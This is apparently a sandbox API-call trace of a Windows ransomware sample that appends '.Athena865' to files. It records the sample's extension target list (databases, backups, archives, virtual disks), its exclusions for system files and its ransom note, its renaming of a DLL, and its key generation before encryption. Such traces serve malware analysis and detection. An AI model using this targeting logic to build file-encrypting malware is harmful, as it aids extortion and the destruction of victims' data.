lstrlenW (lpString="mdb") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0037.267] lstrlenW (lpString="sql") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0037.267] lstrlenW (lpString="sqlite") returned 6 [0037.267] lstrcmpiW (lpString1="ne.dll", lpString2="sqlite") returned -1 [0037.267] lstrlenW (lpString="sqlite3") returned 7 [0037.267] lstrcmpiW (lpString1="ine.dll", lpString2="sqlite3") returned -1 [0037.267] lstrlenW (lpString="sqlitedb") returned 8 [0037.267] lstrcmpiW (lpString1="line.dll", lpString2="sqlitedb") returned -1 [0037.267] lstrlenW (lpString="xml") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0037.267] lstrlenW (lpString="$er") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0037.267] lstrlenW (lpString="4dd") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0037.267] lstrlenW (lpString="4dl") returned 3 [0037.267] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0037.268] lstrlenW (lpString="^^^") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0037.268] lstrlenW (lpString="abs") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0037.268] lstrlenW (lpString="abx") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0037.268] lstrlenW (lpString="accdb") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0037.268] lstrlenW (lpString="accdc") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0037.268] lstrlenW (lpString="accde") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0037.268] lstrlenW (lpString="accdr") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0037.268] lstrlenW (lpString="accdt") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0037.268] lstrlenW (lpString="accdw") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0037.268] lstrlenW (lpString="accft") returned 5 [0037.268] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0037.268] lstrlenW (lpString="adb") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.268] lstrlenW (lpString="adb") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0037.268] lstrlenW (lpString="ade") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0037.268] lstrlenW (lpString="adf") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0037.268] lstrlenW (lpString="adn") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0037.268] lstrlenW (lpString="adp") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0037.268] lstrlenW (lpString="alf") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0037.268] lstrlenW (lpString="ask") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0037.268] lstrlenW (lpString="btr") returned 3 [0037.268] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0037.268] lstrlenW (lpString="cat") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0037.269] lstrlenW (lpString="cdb") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0037.269] lstrlenW (lpString="ckp") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0037.269] lstrlenW (lpString="cma") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0037.269] lstrlenW (lpString="cpd") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0037.269] lstrlenW (lpString="dacpac") returned 6 [0037.269] lstrcmpiW (lpString1="ne.dll", lpString2="dacpac") returned 1 [0037.269] lstrlenW (lpString="dad") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0037.269] lstrlenW (lpString="dadiagrams") returned 10 [0037.269] lstrcmpiW (lpString1="peline.dll", lpString2="dadiagrams") returned 1 [0037.269] lstrlenW (lpString="daschema") returned 8 [0037.269] lstrcmpiW (lpString1="line.dll", lpString2="daschema") returned 1 [0037.269] lstrlenW (lpString="db-journal") returned 10 [0037.269] lstrcmpiW (lpString1="peline.dll", lpString2="db-journal") returned 1 [0037.269] lstrlenW (lpString="db-shm") returned 6 [0037.269] lstrcmpiW (lpString1="ne.dll", lpString2="db-shm") returned 1 [0037.269] lstrlenW (lpString="db-wal") returned 6 [0037.269] lstrcmpiW (lpString1="ne.dll", lpString2="db-wal") returned 1 [0037.269] lstrlenW (lpString="dbc") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0037.269] lstrlenW (lpString="dbs") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0037.269] lstrlenW (lpString="dbt") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0037.269] lstrlenW (lpString="dbv") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0037.269] lstrlenW (lpString="dbx") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0037.269] lstrlenW (lpString="dcb") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0037.269] lstrlenW (lpString="dct") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0037.269] lstrlenW (lpString="dcx") returned 3 [0037.269] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0037.269] lstrlenW (lpString="ddl") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0037.270] lstrlenW (lpString="dlis") returned 4 [0037.270] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0037.270] lstrlenW (lpString="dp1") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0037.270] lstrlenW (lpString="dqy") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0037.270] lstrlenW (lpString="dsk") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0037.270] lstrlenW (lpString="dsn") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0037.270] lstrlenW (lpString="dtsx") returned 4 [0037.270] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0037.270] lstrlenW (lpString="dxl") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0037.270] lstrlenW (lpString="eco") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0037.270] lstrlenW (lpString="ecx") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0037.270] lstrlenW (lpString="edb") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0037.270] lstrlenW (lpString="epim") returned 4 [0037.270] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0037.270] lstrlenW (lpString="fcd") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0037.270] lstrlenW (lpString="fdb") returned 3 [0037.270] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0037.270] lstrlenW (lpString="fic") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0037.271] lstrlenW (lpString="flexolibrary") returned 12 [0037.271] lstrlenW (lpString="fm5") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0037.271] lstrlenW (lpString="fmp") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0037.271] lstrlenW (lpString="fmp12") returned 5 [0037.271] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0037.271] lstrlenW (lpString="fmpsl") returned 5 [0037.271] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0037.271] lstrlenW (lpString="fol") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0037.271] lstrlenW (lpString="fp3") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0037.271] lstrlenW (lpString="fp4") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0037.271] lstrlenW (lpString="fp5") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0037.271] lstrlenW (lpString="fp7") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0037.271] lstrlenW (lpString="fpt") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0037.271] lstrlenW (lpString="frm") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0037.271] lstrlenW (lpString="gdb") returned 3 [0037.271] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.271] lstrlenW (lpString="gdb") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.272] lstrlenW (lpString="grdb") returned 4 [0037.272] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0037.272] lstrlenW (lpString="gwi") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0037.272] lstrlenW (lpString="hdb") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0037.272] lstrlenW (lpString="his") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0037.272] lstrlenW (lpString="ib") returned 2 [0037.272] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0037.272] lstrlenW (lpString="idb") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0037.272] lstrlenW (lpString="ihx") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0037.272] lstrlenW (lpString="itdb") returned 4 [0037.272] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0037.272] lstrlenW (lpString="itw") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0037.272] lstrlenW (lpString="jet") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0037.272] lstrlenW (lpString="jtx") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0037.272] lstrlenW (lpString="kdb") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0037.272] lstrlenW (lpString="kexi") returned 4 [0037.272] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0037.272] lstrlenW (lpString="kexic") returned 5 [0037.272] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0037.272] lstrlenW (lpString="kexis") returned 5 [0037.272] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0037.272] lstrlenW (lpString="lgc") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0037.272] lstrlenW (lpString="lwx") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0037.272] lstrlenW (lpString="maf") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0037.272] lstrlenW (lpString="maq") returned 3 [0037.272] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0037.273] lstrlenW (lpString="mar") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0037.273] lstrlenW (lpString="marshal") returned 7 [0037.273] lstrcmpiW (lpString1="ine.dll", lpString2="marshal") returned -1 [0037.273] lstrlenW (lpString="mas") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0037.273] lstrlenW (lpString="mav") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0037.273] lstrlenW (lpString="maw") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0037.273] lstrlenW (lpString="mdbhtml") returned 7 [0037.273] lstrcmpiW (lpString1="ine.dll", lpString2="mdbhtml") returned -1 [0037.273] lstrlenW (lpString="mdn") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0037.273] lstrlenW (lpString="mdt") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0037.273] lstrlenW (lpString="mfd") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0037.273] lstrlenW (lpString="mpd") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0037.273] lstrlenW (lpString="mrg") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0037.273] lstrlenW (lpString="mud") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0037.273] lstrlenW (lpString="mwb") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0037.273] lstrlenW (lpString="myd") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0037.273] lstrlenW (lpString="ndf") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0037.273] lstrlenW (lpString="nnt") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0037.273] lstrlenW (lpString="nrmlib") returned 6 [0037.273] lstrcmpiW (lpString1="ne.dll", lpString2="nrmlib") returned -1 [0037.273] lstrlenW (lpString="ns2") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0037.273] lstrlenW (lpString="ns3") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0037.273] lstrlenW (lpString="ns4") returned 3 [0037.273] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0037.274] lstrlenW (lpString="nsf") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0037.274] lstrlenW (lpString="nv") returned 2 [0037.274] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0037.274] lstrlenW (lpString="nv2") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0037.274] lstrlenW (lpString="nwdb") returned 4 [0037.274] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0037.274] lstrlenW (lpString="nyf") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0037.274] lstrlenW (lpString="odb") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.274] lstrlenW (lpString="odb") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.274] lstrlenW (lpString="oqy") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0037.274] lstrlenW (lpString="ora") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0037.274] lstrlenW (lpString="orx") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0037.274] lstrlenW (lpString="owc") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0037.274] lstrlenW (lpString="p96") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0037.274] lstrlenW (lpString="p97") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0037.274] lstrlenW (lpString="pan") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0037.274] lstrlenW (lpString="pdb") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0037.274] lstrlenW (lpString="pdm") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0037.274] lstrlenW (lpString="pnz") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0037.274] lstrlenW (lpString="qry") returned 3 [0037.274] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0037.274] lstrlenW (lpString="qvd") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0037.275] lstrlenW (lpString="rbf") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0037.275] lstrlenW (lpString="rctd") returned 4 [0037.275] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0037.275] lstrlenW (lpString="rod") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0037.275] lstrlenW (lpString="rodx") returned 4 [0037.275] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0037.275] lstrlenW (lpString="rpd") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0037.275] lstrlenW (lpString="rsd") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0037.275] lstrlenW (lpString="sas7bdat") returned 8 [0037.275] lstrcmpiW (lpString1="line.dll", lpString2="sas7bdat") returned -1 [0037.275] lstrlenW (lpString="sbf") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0037.275] lstrlenW (lpString="scx") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0037.275] lstrlenW (lpString="sdb") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0037.275] lstrlenW (lpString="sdc") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0037.275] lstrlenW (lpString="sdf") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0037.275] lstrlenW (lpString="sis") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0037.275] lstrlenW (lpString="spq") returned 3 [0037.275] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0037.275] lstrlenW (lpString="te") returned 2 [0037.275] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0037.275] lstrlenW (lpString="teacher") returned 7 [0037.275] lstrcmpiW (lpString1="ine.dll", lpString2="teacher") returned -1 [0037.276] lstrlenW (lpString="tmd") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0037.276] lstrlenW (lpString="tps") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0037.276] lstrlenW (lpString="trc") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.276] lstrlenW (lpString="trc") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.276] lstrlenW (lpString="trm") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0037.276] lstrlenW (lpString="udb") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0037.276] lstrlenW (lpString="udl") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0037.276] lstrlenW (lpString="usr") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0037.276] lstrlenW (lpString="v12") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0037.276] lstrlenW (lpString="vis") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0037.276] lstrlenW (lpString="vpd") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0037.276] lstrlenW (lpString="vvv") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0037.276] lstrlenW (lpString="wdb") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0037.276] lstrlenW (lpString="wmdb") returned 4 [0037.276] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0037.276] lstrlenW (lpString="wrk") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0037.276] lstrlenW (lpString="xdb") returned 3 [0037.276] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0037.276] lstrlenW (lpString="xld") returned 3 [0037.277] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0037.277] lstrlenW (lpString="xmlff") returned 5 [0037.277] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0037.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\Pipeline.dll.Athena865") returned 49 [0037.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.athena865"), dwFlags=0x1) returned 1 [0037.278] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.Athena865" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1852928) returned 1 [0037.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.279] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.279] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.279] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.280] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c4900, lpName=0x0) returned 0x154 [0037.282] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c4900) returned 0x2d50000 [0037.432] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.432] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.433] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.433] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0037.452] CloseHandle (hObject=0x154) returned 1 [0037.452] CloseHandle (hObject=0x17c) returned 1 [0037.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.489] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".") returned 1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2="..") returned 1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2="windows") returned -1 [0037.489] lstrcmpiW (lpString1="PipeTran.dll", lpString2="bootmgr") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="temp") returned -1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="pagefile.sys") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="boot") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="ids.txt") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="ntuser.dat") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="perflogs") returned 1 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2="MSBuild") returned 1 [0037.490] lstrlenW (lpString="PipeTran.dll") returned 12 [0037.490] lstrcpyW (in: lpString1=0x241e87e, lpString2="PipeTran.dll" | out: lpString1="PipeTran.dll") returned="PipeTran.dll" [0037.490] lstrlenW (lpString="PipeTran.dll") returned 12 [0037.490] lstrlenW (lpString="Athena865") returned 9 [0037.490] lstrcmpiW (lpString1="eTran.dll", lpString2="Athena865") returned 1 [0037.490] lstrlenW (lpString=".dll") returned 4 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".dll") returned 1 [0037.490] lstrlenW (lpString=".lnk") returned 4 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".lnk") returned 1 [0037.490] lstrlenW (lpString=".ini") returned 4 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".ini") returned 1 [0037.490] lstrlenW (lpString=".sys") returned 4 [0037.490] lstrcmpiW (lpString1="PipeTran.dll", lpString2=".sys") returned 1 [0037.490] lstrlenW (lpString="PipeTran.dll") returned 12 [0037.490] lstrlenW (lpString="bak") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0037.490] lstrlenW (lpString="ba_") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0037.490] lstrlenW (lpString="dbb") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0037.490] lstrlenW (lpString="vmdk") returned 4 [0037.490] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0037.490] lstrlenW (lpString="rar") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0037.490] lstrlenW (lpString="zip") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0037.490] lstrlenW (lpString="tgz") returned 3 [0037.490] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0037.490] lstrlenW (lpString="vbox") returned 4 [0037.491] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0037.491] lstrlenW (lpString="vdi") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0037.491] lstrlenW (lpString="vhd") returned 3 [0037.491] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0037.491] lstrlenW (lpString="vhdx") returned 4 [0037.491] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0037.491] lstrlenW (lpString="avhd") returned 4 [0037.491] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0037.491] 